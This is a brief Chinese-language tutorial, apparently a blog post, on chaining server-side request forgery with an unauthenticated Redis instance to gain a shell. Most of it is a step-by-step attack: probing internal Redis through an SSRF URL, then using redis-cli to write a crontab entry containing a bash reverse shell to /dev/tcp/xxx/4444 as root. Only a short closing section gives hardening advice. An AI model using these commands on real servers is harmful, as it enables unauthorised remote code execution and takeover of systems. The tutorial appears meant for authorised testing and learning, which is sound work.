SSRF 打 Redis 未授权 GetShell:SSRF 利用、Redis 写 Crontab/SSH 密钥、完整的漏洞联动攻击链。
写在前面:合法学习边界
漏洞联动测试只在授权测试环境进行。
一、SSRF 打 Redis 攻击链

1
| ① SSRF → ② 发现 Redis 6379 → ③ 写 Crontab/SSH 密钥 → ④ GetShell
|
二、利用步骤
1
2
3
4
5
6
7
| 1. SSRF 探测内网 Redis:http://target/?url=http://127.0.0.1:6379
2. 连接 Redis:redis-cli -h 内网IP
3. 写 Crontab:
set msg "\n* * * * * bash -i >& /dev/tcp/xxx/4444 0>&1\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save
|
三、防御加固
1
2
| Redis 设置密码 · bind 127.0.0.1
禁止 SSRF · URL 白名单
|
四、小结
SSRF + Redis 未授权 = GetShell。防御核心是Redis 加密码 + SSRF 防护。